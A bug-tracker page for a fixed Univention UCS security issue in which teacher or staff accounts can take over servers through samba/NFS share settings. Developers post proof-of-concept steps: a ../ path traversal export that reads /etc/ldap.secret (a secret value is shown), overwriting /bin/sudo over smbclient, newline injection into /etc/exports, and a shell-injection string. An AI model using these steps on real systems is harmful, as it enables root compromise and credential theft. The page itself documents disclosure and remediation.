Bug 44054 - {samba,nfs}-shares listener - take over any server as teacher/staff
{samba,nfs}-shares listener - take over any server as teacher/staff
Status: CLOSED FIXED
Product: UCS
Classification: Unclassified
Component: UMC - Shares
UCS 4.4
Other Linux
: P5 major (vote)
: UCS 4.4-0-errata
Assigned To: Florian Best
Arvid Requate
:
Depends on:
Blocks: 49523 49524 49771 51597 43773
  Show dependency treegraph
 
Reported: 2017-03-23 18:10 CET by Florian Best
Modified: 2022-04-26 22:28 CEST (History)
5 users (show)

See Also:
What kind of report is it?: Security Issue
What type of bug is this?: ---
Who will be affected by this bug?: ---
How will those affected feel about the bug?: ---
User Pain:
Enterprise Customer affected?:
School Customer affected?: Yes
ISV affected?:
Waiting Support:
Flags outvoted (downgraded) after PO Review:
Ticket number:
Bug group (optional): API change, Security
Max CVSS v3 score: 9.9 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)


Attachments
qa-feedback.diff (7.28 KB, patch)
2019-05-20 12:43 CEST, Arvid Requate
Details | Diff
1.diff (4.75 KB, patch)
2019-05-22 11:58 CEST, Arvid Requate
Details | Diff

Note You need to log in before you can comment on or make changes to this bug.
Comment 1 Sönke Schwardt-Krummrich univentionstaff 2019-02-05 21:43:45 CET
This issue has been filled against UCS@school 4.1 (R2). The maintenance with
bug and security fixes for UCS@school 4.1 (R2) has ended on 5th of April 2018.

Customers still on UCS 4.1 are encouraged to update to UCS 4.3 (or later). 
Please contact your partner or Univention for any questions.

If this issue still occurs in newer UCS versions, please use "Clone this bug"
or simply reopen the issue. In this case please provide detailed information on
how this issue is affecting you.
Comment 2 Florian Best univentionstaff 2019-04-09 15:19:13 CEST
Decided to fix this in the listener for shares!
Comment 3 Florian Best univentionstaff 2019-04-17 15:51:59 CEST
The protection of paths in NFS-shares is pseudo. Currently /etc seems blocked but isn't:
Create a share with a ../ path works fine:

path: /foo/bar/bar/../../../etc
root_squash: 0
writeable: 1
directorymode: 03777

From any external system do:
# cat >> /etc/fstab
10.200.27.5:/foo/bar/bar/../../../etc  /tmp/etc           nfs          rw           0    0
^D
# mount /tmp/etc
# cat /tmp/etc/ldap.secret
OjSAyH4gsdq5I7XqycQF
Comment 4 Florian Best univentionstaff 2019-05-08 07:07:41 CEST
We have to restrict /etc (because of /etc/ldap.secret, etc.) and /var (because of /var/lib/samba/private/secrets.ldb and /var/lib/docker).
And /dev /proc /root /sys /tmp as the current syntax class prevents.
Comment 5 Florian Best univentionstaff 2019-05-08 13:31:31 CEST
Also need to consider write permissions: Putting/Replacing files in /bin is also possible:

$ smbclient "\\\\$(hostname -f)\binaries" -U 'demo_student%univention' -c 'put sudo'
Unable to initialize messaging context
putting file sudo as \sudo (34409,3 kb/s) (average 34410,2 kb/s)
# ls -l /bin/sudo
-rwxrwxr-x+ 1 demo_student root 140944 Mai  4 20:10 /bin/sudo
Comment 6 Florian Best univentionstaff 2019-05-14 15:52:13 CEST
Another vulnerability:
Add a \n plus a new NFS share to an attribute, which is printed to /etc/exports:

udm shares/share create --set path=/home/ --set host=$(hostname -f) --set name=s4hwck8pxw
python
>>> import univention.admin.uldap
>>> lo,po=univention.admin.uldap.getAdminConnection()
>>> lo.modify("cn=s4hwck8pxw,dc=base", [('univentionShareNFSAllowed', '', '# foo\n"/etc" -rw,root_squash,sync,subtree_check * #')])

tail /etc/exports
"/home/" -rw,root_squash,sync,subtree_check # foo
"/etc" -rw,root_squash,sync,subtree_check * # # LDAP:cn=s4hwck8pxw,l=school,l=dev
Comment 7 Arvid Requate univentionstaff 2019-05-14 16:07:08 CEST
We should not make this a "salami-bug", adding slice after slice, otherwise we will never get it done. Please consider splitting as you see fit.
Comment 8 Florian Best univentionstaff 2019-05-16 16:10:49 CEST
Another root-code execution exploit:
univention.lib.listenerSharePath.checkDirFileSystem("/'; id; echo 'foo", {})
This is fixed via using pipes.quote().

Via the attribute 'univentionShareSambaCustomSetting' it is possible to inject more share section entries.
This is still possible, I will create a new bug for this.
Same applies for all other attributes which were not quoted during inserting. The quoting is now done.

If the share path was blacklisted, the file was created nevertheless. except that the directory was not created and chmod was not performed (aka executing createOrRename()).
The block has been moved to the top.

I added UCR variables for adding whitelists. The default whitelist is:
listener/shares/whitelist/defaults?/home:/opt:/run:/media:/mnt:/srv
They seem relatively safe (except /home/ with write permissions but is ofc required).

@Arvid: before I merge anything, could you do a code review?
git:fbest/44054-fix-share-path-restrictions
Comment 9 Arvid Requate univentionstaff 2019-05-20 12:43:45 CEST
Created attachment 10034 [details]
qa-feedback.diff
Comment 10 Florian Best univentionstaff 2019-05-20 16:47:40 CEST
Thanks. Merged the changes with some enhancements.

commit f51705c39e484d16af61c74d9f68598398860a29
Merge: 2ed74aefeb 7f6d4854e4
    Bug #44054: Merge branch 'fbest/44054-fix-share-path-restrictions' into 4.4-0

I saw a few packages which are creating shares and added whitelist-rules for them:
"/usr/share/italc-windows"
"/var/lib/opsi/depot"
"/var/lib/opsi/ntfs-images"
"/var/lib/opsi/depot"
"/var/lib/opsi/workbench"
Comment 12 Felix Botner univentionstaff 2019-05-21 09:44:23 CEST
This test 

53_samba-common.46share_access_permissions_sambaValidUsers

fails on all samba installation in

http://jenkins.knut.univention.de:8080/job/UCS-4.4/job/UCS-4.4-0/job/AutotestJoin/lastCompletedBuild/testReport/

Please check if this has something to do with this change.
Comment 13 Florian Best univentionstaff 2019-05-21 12:04:53 CEST
(In reply to Felix Botner from comment #12)
> This test 
> 
> 53_samba-common.46share_access_permissions_sambaValidUsers
> 
> fails on all samba installation in
> 
> http://jenkins.knut.univention.de:8080/job/UCS-4.4/job/UCS-4.4-0/job/
> AutotestJoin/lastCompletedBuild/testReport/
> 
> Please check if this has something to do with this change.

Yes, unfortionately we are storing already quoted values in LDAP.
Comment 14 Florian Best univentionstaff 2019-05-21 12:20:58 CEST
Fixed here:

univention-samba4 (8.0.0-24)
de490f429f5f | Bug #44054: do not quote already quoted univentionShareSambaValidUsers univentionShareSambaInvalidUsers

univention-samba (13.0.0-5)
de490f429f5f | Bug #44054: do not quote already quoted univentionShareSambaValidUsers univentionShareSambaInvalidUsers

univention-lib (8.0.0-13)
1bfae9e36958 | Bug #44054: allow to leave out trailing slash
Comment 15 Arvid Requate univentionstaff 2019-05-22 11:58:17 CEST
Created attachment 10040 [details]
1.diff

The attached patch shows the locations where we should improve log messages and UCR variable documentation to point out that the listener needs to be restarted to make changed whitelist UCR variables take effect.
Comment 16 Florian Best univentionstaff 2019-05-22 12:05:05 CEST
Patch applied, thanks.
Comment 17 Arvid Requate univentionstaff 2019-05-23 18:43:04 CEST
Ok.